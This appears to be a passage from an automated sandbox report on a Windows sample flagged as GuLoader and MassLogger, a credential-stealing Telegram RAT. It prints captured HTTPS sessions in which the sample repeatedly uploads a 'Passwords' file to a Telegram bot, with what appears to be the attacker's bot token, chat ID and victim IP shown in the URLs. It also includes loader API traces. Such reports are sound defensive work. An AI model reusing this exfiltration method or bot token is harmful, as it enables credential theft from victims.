2025-01-11 06:39:57 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 39 66 33 36 66 66 36 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f9f36ff63cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:39:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:39:57 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:39:57 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 35 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43964,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577597,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49999	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:39:59 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3211933dfd44 Host: api.telegram.org Content-Length: 1090
2025-01-11 06:39:59 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 31 39 33 33 64 66 64 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3211933dfd44Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:39:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:39:59 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:39:59 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 35 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43965,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577599,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50014	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:40:05 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3257f8ac7e6a Host: api.telegram.org Content-Length: 1090
2025-01-11 06:40:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 37 66 38 61 63 37 65 36 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3257f8ac7e6aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:40:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:40:05 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:40:05 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 36 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43966,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577605,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50016	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:40:11 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3296d7c0aa3c Host: api.telegram.org Content-Length: 1090
2025-01-11 06:40:11 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 36 64 37 63 30 61 61 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3296d7c0aa3cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:40:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:40:11 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:40:11 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 36 31 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43967,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577611,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50018	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:40:17 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32dd306f6d66 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:40:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 64 33 30 36 66 36 64 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32dd306f6d66Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:40:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:40:17 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:40:17 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 36 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43968,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577617,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50021	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:40:27 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33301687c692 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:40:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 33 30 31 36 38 37 63 36 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33301687c692Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:40:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:40:28 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:40:28 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 36 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43969,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577628,"document":{"file_n

Target ID:	0
Start time:	01:38:18
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\c7WJL1gt32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\c7WJL1gt32.exe"
Imagebase:	0x400000
File size:	1'017'781 bytes
MD5 hash:	7549EE46B6E4391BB5D33788FB901E8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2418431968.00000000050B4000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:39:30
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\c7WJL1gt32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\c7WJL1gt32.exe"
Imagebase:	0x400000
File size:	1'017'781 bytes
MD5 hash:	7549EE46B6E4391BB5D33788FB901E8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.4%
Total number of Nodes:	1564
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,?,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,?,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,?,00435000,00000000,?,00000006,?,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,?,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,?,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,?,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,?,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,?,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,?,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,?,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?,?,00000006,?,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\c7WJL1gt32.exe,00420EE8,00000001,?,00000006,?,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,?,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(?,0000000A,00000006,?,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

1033, xrefs: 00403749
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
NSIS Error, xrefs: 00403567
TEMP, xrefs: 0040372D
~nsu, xrefs: 00403845
Low, xrefs: 0040371B
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
TMP, xrefs: 00403735
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
C:\Users\user\AppData\Local\Iw\Bombestoppets, xrefs: 004037F6
C:\Users\user\Desktop, xrefs: 0040386C, 00403871, 0040389E
C:\Users\user\Desktop\c7WJL1gt32.exe, xrefs: 004038F8
SeShutdownPrivilege, xrefs: 0040396F
Error launching installer, xrefs: 004037D0
.tmp, xrefs: 00403861
\Temp, xrefs: 004036FF

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

